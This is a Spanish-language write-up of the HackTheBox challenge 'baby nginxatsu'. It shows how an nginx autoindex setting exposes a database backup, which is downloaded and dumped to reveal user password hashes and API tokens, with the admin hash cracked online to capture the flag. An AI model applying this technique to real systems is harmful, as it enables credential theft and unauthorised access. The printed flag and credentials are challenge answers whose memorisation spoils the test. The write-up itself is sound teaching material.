baby nginxatsu
2 minutos de lectura
Se nos proporciona esta página web:
Después de registrar una cuenta e iniciar sesión, veremos esta funcionalidad:
Básicamente, nos permiten crear archivos de configuración de nginx.
Explotación de nginx
Nótese que el campo location
es /storage
. Vamos a crear la configuración que viene por defecto a ver qué sale:
Tenemos esta configuración:
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
worker_connections 1024;
}
http {
server_tokens off;
charset utf-8;
keepalive_timeout 20s;
sendfile on;
tcp_nopush on;
client_max_body_size 2M;
include /etc/nginx/mime.types;
server {
listen 80;
server_name _;
index index.php;
root /www/public;
# We sure hope so that we don't spill any secrets
# within the open directory on /storage
location /storage {
autoindex on;
}
location / {
try_files $uri $uri/ /index.php?$query_string;
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
}
}
Vemos que en el bloque location /storage
hay una configuración autoindex on
. Esto indica a nginx que muestre un listado de directorios (más información en nginx.org).
Si accedemos a /storage/
, veremos el listado de directorios:
At the bottom, we have an interesting file named v1_db_backup_1604123342.tar.gz
.
Análisis de SQLite3
Vamos a descargarlo y a ver qué información tenemos:
$ wget -q http://209.97.179.123:32549/storage/v1_db_backup_1604123342.tar.gz
$ file v1_db_backup_1604123342.tar.gz
v1_db_backup_1604123342.tar.gz: POSIX tar archive (GNU)
$ tar xvfz v1_db_backup_1604123342.tar.gz
x database/database.sqlite
$ sqlite3 database/database.sqlite
SQLite version 3.39.4 2022-09-07 20:51:41
Enter ".help" for usage hints.
sqlite> .tables
failed_jobs nginx_configs users
migrations password_resets
sqlite> .header on
sqlite> select * from users;
id|name|email|password|api_token|remember_token|created_at|updated_at
1|jr|nginxatsu-adm-01@makelarid.es|e7816e9a10590b1e33b87ec2fa65e6cd|RbM9pfgnpgLXwAiEFupzGu4OISjOm21sYcNYatmp8t0n9H7TWXLmLKncgGC9y9qd12qT||2022-11-27 17:50:25|2022-11-27 17:50:25
2|Giovann1|nginxatsu-giv@makelarid.es|a51b3ddb4dd356e45c1162056c718fdc|WtxFFkBZCIFXfFHrKGoTcWi7LYs3ZncgKmtxqfGX5sbhJCMvzGX05sHbzklMg4f1NaKS||2022-11-27 17:50:25|2022-11-27 17:50:25
3|me0wth|nginxatsu-me0wth@makelarid.es|fec3f552d2b5b8559dbecd384eee9f78|Ai2zfCLORCdHbwmWt4AlKCQd0vfrHRq9DXF7xBErlza3TZZvHvi10i8Uq1ayj2cOaaoC||2022-11-27 17:50:25|2022-11-27 17:50:25
Acabamos de encontrar el hash de la contraseña del usuario nginxatsu-adm-01@makelarid.es
, que tiene pinta de ser el administrador. Si metemos el hash en crackstation.net, veremos que la contraseña es adminadmin1
:
Flag
Si usamos las credenciales anteriores, encontraremos la flag (HTB{ng1ngx_r34lly_b3_sp1ll1ng_my_w3ll_h1dd3n_s3cr3ts??}
):